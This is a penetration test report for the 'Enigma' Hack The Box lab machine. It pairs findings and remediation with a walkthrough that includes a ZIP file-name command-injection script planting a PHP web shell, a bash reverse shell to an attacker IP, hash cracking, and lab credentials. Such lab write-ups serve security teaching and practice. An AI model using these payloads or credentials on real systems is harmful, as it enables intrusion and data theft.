Enigma HTB Penetration Test Report

Prepared by: George “Trey” D. Smith

Assessment Date: July 2026

Contents

Executive Summary

This report presents the results of an internal penetration testing assessment performed against the Enigma HTB environment. The assessment was conducted from a black-box perspective, meaning only the target IP address was provided at the start of testing. The objective was to identify exploitable weaknesses, demonstrate realistic attack paths, and document remediation steps that would reduce the likelihood and impact of compromise.

Testing identified a complete attack chain that began with externally reachable services and progressed through exposed file shares, credential discovery, mailbox access, administrative web application access, remote code execution, database credential exposure, password hash cracking, and eventual user-level compromise of the system.

The overall risk to the environment is assessed as High because multiple findings could be chained together to gain unauthorized access, expose sensitive information, compromise user accounts, and execute commands on the target server.

Critical	High	Medium	Low	Total Findings
0	3	1	2	6

The highest priority issues are the exposed NFS share containing sensitive onboarding information, insecure file upload functionality that enabled remote code execution, and weak credential practices that allowed mailbox and administrative portal compromise.

This report is structured to separate executive-level risk information from technical evidence. The early sections summarize business impact and key risks, while the later sections document attack path details, finding-level evidence, and remediation guidance.

Remediation should focus first on reducing external exposure, rotating exposed credentials, enforcing multi-factor authentication, hardening upload handling, limiting

access to configuration files, and improving monitoring around authentication and administrative activity.

Key Findings

The assessment identified several weaknesses that, when combined, created a realistic path from unauthenticated network access to user-level compromise. These findings are summarized below for executive and management review.

Testing identified several weaknesses that, when chained together, allowed access to exposed services, user mailboxes, administrative web functionality, and eventually a server-level user account. The most significant issues were related to exposed internal services, weak credential handling, insecure file upload functionality, and insufficient access control.

Overall Risk: High. The environment exposed multiple paths that could allow an attacker to move from initial discovery to credential theft, administrative access, remote code execution, and user compromise.

- **Exposed internal services increased attack surface:** NFS, IMAP, POP3, SSH, and web services were reachable during testing, giving an attacker several opportunities to enumerate systems, collect sensitive data, and attempt authentication.
- **Sensitive credentials were stored or transmitted insecurely:** Onboarding documents and email messages exposed usernames, passwords, service locations, and administrative access details that supported lateral movement.
- **Credential reuse enabled account compromise:** A default or reused organizational password allowed access to an additional mailbox, which exposed administrative web portal credentials.
- **Insecure upload handling enabled remote code execution:** The web application accepted a crafted upload that could be abused to execute commands on the server, resulting in shell access as the web service user.
- **Weak permissions exposed configuration data:** After gaining server access, configuration files revealed database credentials, allowing further access to application data and user password hashes.

Business Impact: If exploited in a real environment, these weaknesses could lead to unauthorized disclosure of sensitive information, compromise of user and administrator accounts, disruption of business services, and loss of confidence in system controls.

Immediate Priorities: Restrict access to exposed services, remove plaintext credentials from file shares and email, rotate affected passwords, enforce MFA for

administrative and mail access, patch vulnerable services, and harden file upload functionality.

Engagement Overview and Scope

Scope

- The assessment focused on the Enigma HTB target host at 10.129.43.98 and the services discovered during testing, including SSH, HTTP, NFS, IMAP, POP3, and related web application functionality.

- CHW-01: Service Vulnerability
- CHW-02: Software Vulnerabilities
- CHW-03: Logical Vulnerabilities

CHW-01-001 regreSSHion (CVE-2024-6387): SSH vulnerability via OpenSSH 9.6p1 (Low)

- Light testing and scanning confirmed that CVE-2024-6387[1] is currently available to be exploited. While current testing suggests early mitigation for this exploit a capable threat actor can easily transform this proof-of-concept[2] into a working exploit onto your system. A patch for CVE-2024-6387 has been released on July 1, 2024, and the development team is encouraged to update SSH Server to the next stable OpenSSH release (As of July 7th, 2026, OpenSSH is on version 10.3p1[3]).

- Once exploited a threat actor can immediately gain access to your server and manipulate/control users, input commands, exfil files, and find unauthorized information. These techniques have been used to compromise multiple Linux OpenSSH servers already.

CHW-01-002 Insecure Remote Network File System (High)

- An aggressive Nmap scan revealed that port 111/tcp is open with an open mounting system attached. Using "sudo mount -t nfs {ip}:/srv/nfs/onboarding {Local mount directory}" we can access the remote network file system and exfil the data inside. Data contained information on a new user's Username and Password, Domain to access mail service, and internal email from company.

---

[1] NVD - cve-2024-6387
[2] GitHub - xonoxitron/regreSSHion: CVE-2024-6387 (regreSSHion) Exploit (PoC)
[3] OpenSSH: for OpenBSD

NOTE: There is a massive security weakness putting unsecure & unencrypted documents into a remote file service. Audits and policy reviews on usage of this service should be reviewed

CHW-01-003 Insecure Remote Access to Mail Service Using IMAPs & POP3s (Medium)

- During testing I was able to connect, and access connected mail service using exposed credentials gained from the CHW-01-002. Using the command openssl s_client -connect {IP}:{PORT} I was able to connect to the IMAPs and POP3s services and find a email address from sarah@enigma.htb in the users inbox.

- Having an ACL or a firewall so unauthorized user cannot access CHW-001-002&3 is vital for continued cyber safety within the organization.

CHW-02-001 Insecure File Upload and Parsing (High)

- Under the Sales Invoices tab in the Importazione FE section there is a Zip File Upload that sends files straight to the server. Using a malicious .php file we can create a file in the web directory and use it to do RCE and gain a shell within the server.
- Using a .php file
    - import zipfile
    - cmd = "cd files && echo '<?php system($_GET[\"c\"]);?>' SHELL.php
    - malicious_filename = f'invoice.p7m";{cmd};echo".p7m'
    - With zipfile.ZipFile('exploit.zip', 'w') as zf:
        - zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
- Once we upload this .php file into the server all we have to do is curl the file and direct it to spawn a shell at our system
    - Curl -G "http://support_001.enigma.htb/files/SHELL.php" \ --data-urlencode 'c=bash -c "bash -I >& /dev/tcp/{ATTACKER IP}/443 0>&1"'

CHW-03-001 Default Organization Password Still on Users (High)

- Trying to break out of the new user, I tried to use the repeat default enigma credentials on Sarah's email. Using sarah@enigma.htb:Enigma2024! I was able to gain access to Sarah's email inbox

- Deleting and updating passwords for users can eliminate lateral movement from a threat actor. Rotating and updating passwords is essential for hardening defenses and keeping user information secure.

- Within Sarah's inbox I found an unencrypted email address from it@enigma.htb giving access to an admin account to http://support_001.enigma.htb

CHW-03-002 Weak Security Practices (Low)

- Issue 1
    - Documents that provide user access should always be encrypted and if a user needs admin access it should only be provided for temporary emergency usage.
    - Implementing this can severely reduce the chance for outside attackers having a chance to access accounts and lower the chance of an insider threat gaining administrative access.
- Issue 2
    - Services being able to be accessed remotely is a failure of access controls especially if these services store critical information.
    - implementing a firewall or a temporary user account for accessing these services can be a useful mitigation to protect from the initial access stated above.
- Issue 3
    - Constant updating of web services is vital to keeping the system safe. Inside the support_001.enigma.htb site there are multiple warnings about updating software within the site. These warnings led me to finding CHW-02-001.
- Issue 4
    - Proper user permissions
        - Not all users should be able to access configuration files and view assets and surfaces. Creating a system to give least privileges to

user and building up privileges is a safer alternative and would have stopped me from finding the MySQL user information

Methodology

Testing followed a black-box penetration testing methodology designed to simulate an external attacker with no prior knowledge of the environment beyond the target IP address. The process included reconnaissance, service enumeration, vulnerability identification, exploitation, credential discovery, lateral movement, and post-exploitation validation.

1. **Reconnaissance and Enumeration:** Identified live services, open ports, service versions, and accessible network resources.
2. **Vulnerability Analysis:** Reviewed discovered services for known weaknesses, misconfigurations, and insecure access patterns.
3. **Exploitation:** Validated exploitable findings where appropriate and demonstrated impact through controlled testing.
4. **Credential and Data Discovery:** Reviewed accessible files, mailboxes, web application content, and configuration files for sensitive information.
5. **Attack Path Development:** Chained findings together to determine whether initial access could lead to deeper compromise.
6. **Reporting:** Documented evidence, business impact, severity, and remediation guidance for each finding.

Risk Rating Methodology

Findings were rated using a qualitative risk model based on likelihood and impact. Ratings consider exploitability, exposure, attacker effort, sensitivity of affected data, business impact, and whether the issue can be chained with other findings.

Rating	**Definition**
Critical	Immediate compromise is likely, or exploitation could result in full system/domain compromise or severe business impact.
High	Exploitation is practical and could lead to unauthorized access, sensitive data exposure, remote code execution, or significant lateral movement.
Medium	The issue is exploitable under certain conditions or increases risk when combined with other weaknesses.
Low	The issue has limited immediate impact but reflects a weakness that should be corrected as part of security hardening.

Attack Path Narrative

The following narrative summarizes how the identified weaknesses were chained together during testing. Detailed command output and supporting technical evidence are retained in the appendix.

1. **Service Discovery:** Initial enumeration identified several externally reachable services, including SSH, HTTP, POP3, IMAP, RPCBind, and NFS.
2. **NFS Exposure:** The NFS service exposed onboarding documentation containing user credentials and internal service information.
3. **Mailbox Access:** Exposed credentials enabled access to mail services, where additional internal communication and user context were discovered.
4. **Credential Reuse:** A reused organizational password allowed access to another user mailbox, which contained administrative web portal credentials.
5. **Administrative Web Access:** The administrative portal exposed sensitive application functionality and an insecure file upload workflow.
6. **Remote Code Execution:** A crafted upload allowed command execution on the server as the web service user.
7. **Credential Discovery:** Configuration files on the server exposed database credentials, enabling access to application data and password hashes.
8. **User Compromise:** Password cracking recovered a valid user password, allowing access to the user account and retrieval of the user flag.

```
nmap -A -sV 10.129.43.98

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-02 20:02 -0400
Nmap scan report for enigma.htb (10.129.43.98)
Host is up (0.027s latency).
Not shown: 992 closed tcp ports (reset)

PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
        256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
        256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
vulners:
        -   cpe:/a:openbsd:openssh:9.6p1:
        PACKETSTORM:179290  10.0  https://vulners.com/packetstorm/PACKETSTORM:179290
        *EXPLOIT*
```

10.0 https://vulners.com/githubexploit/1EEC8894-D2F7-547C-827C-915BE866875C *EXPLOIT*

80/tcp open http nginx 1.24.0 (Ubuntu)

_http-server-header: nginx/1.24.0 (Ubuntu)

_http-title: Enigma Corp \xE2\x80\x94 Managed IT Solutions

110/tcp open pop3 Dovecot pop3d

ssl-cert: Subject: commonName=enigma

Subject Alternative Name: DNS:enigma

_pop3-capabilities: SASL TOP RESP-CODES CAPA STLS AUTH-RESP-CODE UIDL PIPELINING

111/tcp open rpcbind 2-4 (RPC #100000)

rpcinfo:

program	version	port/proto	service
100000	2,3,4	111/tcp	rpcbind
100000	2,3,4	111/udp	rpcbind
100000	3,4	111/tcp6	rpcbind
100000	3,4	111/udp6	rpcbind
100003	3,4	2049/tcp	nfs
100003	3,4	2049/tcp6	nfs
100005	1,2,3	51703/udp6	mountd
100005	1,2,3	51929/tcp6	mountd
100005	1,2,3	53725/tcp	mountd
100005	1,2,3	56693/udp	mountd
100021	1,3,4	36211/tcp6	nlockmgr
100021	1,3,4	38854/udp6	nlockmgr
100021	1,3,4	44441/tcp	nlockmgr
100021	1,3,4	60645/udp	nlockmgr
100024	1	34030/udp6	status
100024	1	53433/tcp	status
100024	1	58649/tcp6	status
100024	1	59033/udp	status
100227	3	2049/tcp	nfs_acl
100227	3	2049/tcp6	nfs_acl

143/tcp open imap Dovecot imapd (Ubuntu)

imap-capabilities: more have post-login Pre-login SASL-IR capabilities IDLE OK LOGIN-REFERRALS ENABLE ID LOGINDISA

ssl-cert: Subject: commonName=enigma

Subject Alternative Name: DNS:enigma

993/tcp open ssl/imap Dovecot imapd (Ubuntu)

ssl-date: TLS randomness does not represent time

ssl-cert: Subject: commonName=enigma

Subject Alternative Name: DNS:enigma

imap-capabilities: AUTH=PLAINA0001 more Pre-login have post-login IDLE OK LOGIN-REFERRALS ENABLE ID capabilities l

995/tcp open ssl/pop3 Dovecot pop3d

pop3-capabilities: SASL(PLAIN) TOP RESP-CODES CAPA USER AUTH-RESP-CODE UIDL PIPELINING

ssl-cert: Subject: commonName=enigma

Subject Alternative Name: DNS:enigma

2049/tcp open nfs_acl 3 (RPC #100227)

Device type: general purpose

Running: Linux 4.X|5.X

OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

OS details: Linux 4.15 - 5.19

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Access the NFS and mount to device

- Sudo mkdir /mnt/1nfs
- rpcinfo 10.129.43.98 (to gather NFS information)
- sudo mount -t nfs {AttackerIP}:/srv/nfs/onboarding /mnt/1nfs
- open New_Employee_Access.pdf

Log into both port 993 & 995 (Devcot IMAPs & POP3s) to find other information

- openssl s_client -connect 10.129.43.98:993 or 995
    - USER kevin
    - PASS Enigma2024! (Port 995)
    - Or a1 LOGIN kevin Enigma2024! (Port 993)

After logging in we find 1 email left inside the mail box

- Using the command: LIST
- We get a response: +OK 1 messages: 1 1473
- We use TOP 1 100 (Start of the message, First message in the inbox, Top 100 lines)
- We get the response:
- To: kevin@localhost
- From: sarah@enigma.htb
- Subject: Welcome to Enigma Corp, Kevin!
- Hi Kevin,
- Welcome to the team! We're thrilled to have you on board at Enigma Corp.
- A little about us — Enigma Corp is a mid-sized technology and operations firm specializing in infrastructure management and enterprise solutions. We've been growing rapidly over the past few years and we're excited to have fresh talent joining us.
- I'm Sarah from the Accounts department. I'll be your point of contact for any finance-related queries during your onboarding period.
- We're still finalizing a few of your onboarding details — your system access, equipment setup, and department introductions are all being arranged by the IT

team. You should be receiving your access credentials shortly via the company shared drive.
    - In the meantime, don't hesitate to reach out if you have any questions. We want to make sure your first few days are as smooth as possible.
    - Looking forward to working with you!
    - Best regards,
    - Sarah
    - Accounts Department
    - Enigma Corp
    - sarah@enigma.htb
- While this isn't as useful as the previous information, we do get another email we can add to known credentials
- Using the onboarding documentation, we can go to the mail server stated to access the webmail website: mail001.enigma.htb
    - This gives us an easy to view email format. Since we do not know the password to Sarah's account let's try the one we gained from before. (Enigma2024!)
        - It works and we get into Sarah's inbox and find this email
            - Apologies for the delay. I have provisioned your access. Please find the details below:
            - URL: http://support_001.enigma.htb
            - Username: admin
            - Password: Ne3s4rtars78s
- We now go to this website to input the username and password, and we get admin access for web services that the company offers.
    - This website is in Italian and has multiple tabs. While the information gained in this tab is immense and a huge data leak the goal now is to compromise a user on the server.
    - While, scraping through the website we find a zip file uploader that we can use to upload and run a malicious file
        - Uploading the malicious code:
            - import zipfile
            - cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
            - malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
            - with zipfile.ZipFile('exploit.zip', 'w') as zf:
            - zf.writestr(malicious_filename,b"DUMMY_P7M_CONTENT")
        - Now we can set up a listener and run the file using curl
            - nc -lvnp 443
            - curl -G "http://support_001.enigma.htb/files/SHELL.php" \
            - --data-urlencode 'c=bash -c "bash -i >& /dev/tcp/10.10.14.210/4430>&1"'
        - Once ran we get a cmd shell on the www-data user
            - connect to [10.10.14.210] from (UNKNOWN) [10.129.43.98] 59342
            - www-data@enigma:~/html/openstamanager/files$
        - Using the command below we can upgrade our shell

- python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
- ^Z
- stty raw -echo; fg

- We look through this user and find no flag here so me move onto any file that might hold credentials
  - We find a sql database conf file that displays the credentials
    - $db_host = 'localhost';
    - $db_username = 'brollin';
    - $db_password = 'Fri3nds@9099';
    - $db_name = 'openstamanager';
  - We use the command to gain access:
    - www-data@enigma:~/html/openstamanager$ mysql -u brollin -p openstamanager
    - Enter password: Fri3nds@9099
  - Once we gain access to the mysql database its just basic queries till we get to the specific table
    - mysql> open openstamanager;
    - mysql> show tables;
    - mysql> SELECT * FROM zz_users;
      - admin | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu
      - haris | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC
    - We can now go back to our machine and run john to find passwords

- Using the command:
  - john hashes --wordlist=/usr/share/wordlists/rockyou.txt
  - we find the password for haris is bestfriends
- Going back to the shell we switch users and try to find a flag on that user
  - su harris
  - cd ~
  - And now we find a user.txt which contains our flag
    - cat user.txt

c1a8c1d72c3d8df9d65aa29d01627a7f

Detailed Findings

Each finding below includes a severity rating, description, impact, evidence summary, and remediation guidance. Findings are grouped by service, software, and logical/control weakness categories.

CHW-01-001: regreSSHion / OpenSSH CVE-2024-6387

Severity: Low
Category: Service Vulnerability
Description: OpenSSH 9.6p1 was identified on the target host and was associated with CVE-2024-6387 during vulnerability enumeration. The issue was rated Low in this environment because testing indicated limited practical exploitability during the assessment window.
Impact: If exploitable, this vulnerability could allow a remote attacker to gain unauthorized access or execute code against the SSH service.
Remediation: Upgrade OpenSSH to a supported patched version, maintain a formal patch schedule, and restrict SSH access to trusted networks where possible.

CHW-01-002: Insecure Remote Network File System

Severity: High
Category: Service Misconfiguration
Description: The NFS service was reachable remotely and exposed an onboarding share containing sensitive user and service information. The share could be mounted and reviewed by an unauthorized tester.
Impact: Exposed onboarding documentation provided credentials and internal service details that enabled access to mail services and supported the broader compromise chain.
Evidence Summary: RPC/NFS enumeration identified an accessible share under /srv/nfs/onboarding. Mounting the share revealed onboarding documentation containing a username, password, mail service domain, and internal communication.
Remediation: Remove public access to NFS, restrict access using firewall rules and ACLs, encrypt sensitive onboarding documents, and store credentials in a managed password vault rather than shared files.

CHW-01-003: Insecure Remote Access to Mail Services

Severity: Medium
Category: Service Exposure
Description: IMAP and POP3 services were reachable and accepted valid credentials

recovered from the exposed onboarding data. This allowed mailbox access and additional internal enumeration.
Impact: Unauthorized mailbox access can expose internal communications, usernames, service information, and additional credentials that support lateral movement.
Evidence Summary: The recovered credentials were used to authenticate to mail services over IMAP/POP3 and review user mailbox content.
Remediation: Restrict mail service access to approved networks, enforce MFA, disable unnecessary legacy protocols where possible, monitor suspicious logins, and rotate exposed passwords.

CHW-02-001: Insecure File Upload and Parsing

Severity: High
Category: Web Application Vulnerability
Description: The administrative web application contained a ZIP upload workflow that allowed a crafted file to be processed in a way that resulted in command execution on the server.
Impact: Successful exploitation allowed shell access as the web service user, creating a direct path to server-side data access and further privilege escalation opportunities.
Evidence Summary: A crafted upload placed a command-executing file into a web-accessible directory. Invoking the file resulted in remote command execution and shell access as www-data.
Remediation: Validate file contents, reject executable payloads, store uploads outside the web root, disable script execution in upload directories, scan uploaded content, and conduct secure code review of file-processing logic.

CHW-03-001: Default or Reused Organization Password

Severity: High
Category: Credential Management
Description: A recovered password was successfully reused against another user mailbox. That mailbox contained administrative web portal credentials.
Impact: Password reuse enabled lateral movement from one user context to another and exposed privileged access details for the administrative web application.
Evidence Summary: The previously discovered password was accepted for an additional mailbox, where administrative portal credentials were found in plaintext communication.
Remediation: Rotate exposed credentials, eliminate shared/default passwords, require unique passwords, enforce MFA, and prevent credentials from being transmitted through email.

CHW-03-002: Weak Security Practices and Least Privilege Gaps

Severity: Low
Category: Governance and Access Control
Description: Several supporting weaknesses were observed, including insecure handling of sensitive documents, broad remote service exposure, outdated web application components, and insufficient restrictions around configuration files.
Impact: These issues increased the likelihood that an attacker could discover sensitive data, move laterally, and identify additional attack paths after gaining initial access.
Evidence Summary: Sensitive information was present in shared files and email messages, remotely reachable services exposed internal functionality, and server-side configuration files revealed database credentials after web shell access was obtained.
Remediation: Apply least privilege, encrypt sensitive documents, restrict access to internal services, remove secrets from email and configuration files where possible, and conduct recurring access reviews.

Remediation Roadmap

The following remediation roadmap prioritizes actions that reduce the most significant risk first while supporting longer-term improvements to security operations and governance.

Enigma should adopt a defense-in-depth approach focused on patch management, access control, credential security, secure development, and data protection. The assessment identified multiple attack paths that allowed an external attacker to progress from initial access to sensitive data exposure and administrative compromise.

Priority Remediation Actions:

1. **Implement a Comprehensive Patch Management Program**
    - Upgrade OpenSSH to a supported version that remediates CVE-2024-6387.
    - Establish a formal patching schedule for operating systems, web applications, plugins, third-party software, and infrastructure services.
    - Monitor vendor security advisories and apply critical security patches within defined service-level objectives.
2. **Restrict Exposure of Internal Services**
    - Remove public access to NFS, IMAP, POP3, and other non-business-critical services.
    - Use firewalls, access control lists (ACLs), VPNs, or network segmentation to limit access to trusted networks and authorized personnel.
    - Implement a Zero Trust security model where access is granted only after proper authentication and authorization.
3. **Strengthen Authentication and Credential Management**
    - Eliminate default and shared passwords across the organization.
    - Require unique passwords for all users and enforce password complexity requirements.
    - Implement Multi-Factor Authentication (MFA) for email, administrative portals, VPN access, and critical business systems.
    - Establish periodic password rotation and monitor for credential reuse.
4. **Secure Sensitive Data Storage and Transmission**
    - Remove plaintext credentials and sensitive information from emails, file shares, and onboarding documents.
    - Encrypt sensitive files both at rest and in transit.
    - Implement secure credential management solutions such as password vaults or privileged access management platforms.
5. **Harden File Upload Functionality**
    - Validate file types through content inspection rather than file extensions alone.
    - Store uploaded files outside the web root.
    - Disable server-side execution permissions on upload directories.

    - Implement malware scanning and sandbox analysis for uploaded content.
    - Conduct secure code reviews and penetration testing on file-processing functionality.
6. **Apply Principle of Least Privilege**
    - Review user permissions and restrict access to only the resources necessary for job functions.
    - Limit access to configuration files, administrative interfaces, sensitive databases, and internal documentation.
    - Periodically audit privileged accounts and group memberships.
7. **Improve Security Monitoring and Auditing**
    - Centralize logging for authentication events, file access, administrative actions, and web application activity.
    - Implement intrusion detection and alerting for anomalous behavior.
    - Conduct regular vulnerability assessments and penetration tests to ensure remediation efforts remain effective.
8. **Develop Security Awareness and Governance Processes**
    - Train employees on secure handling of credentials and sensitive information.
    - Establish policies governing file-sharing services, administrative account management, and remote access.
    - Conduct periodic security reviews to verify compliance with organizational security standards.

Risk Summary

The findings demonstrate a viable attack chain whereby an external attacker could exploit exposed services, obtain sensitive credentials, access user email accounts, harvest additional privileged information, exploit insecure file upload functionality, and ultimately achieve remote code execution on internal systems. Prompt remediation of the High-Risk findings, particularly the NFS exposure, insecure file upload functionality, and credential management weaknesses, should be prioritized to reduce the likelihood of full system compromise.

Recommended Remediation Timeline

- **Immediate (0-30 Days):** CHW-01-002, CHW-02-001, CHW-03-001
- **Short-Term (30-60 Days):** CHW-01-003, CHW-01-001
- **Long-Term (60-90 Days):** CHW-03-002 governance, monitoring, auditing, patch management, and security awareness improvements.

Conclusion

The Enigma HTB assessment demonstrated that multiple moderate and high-risk weaknesses could be combined into a practical compromise path. While no single issue represented complete compromise by itself, the combination of exposed services, sensitive credential handling, weak authentication practices, insecure upload processing, and insufficient access control created a credible route from initial discovery to user-level access.

The most important corrective actions are to restrict unnecessary external service exposure, remove plaintext credentials from shared locations and email, rotate all exposed passwords, enforce multi-factor authentication, and harden the web application upload process. Addressing these issues would significantly reduce the likelihood of repeat compromise and improve the overall security posture of the environment.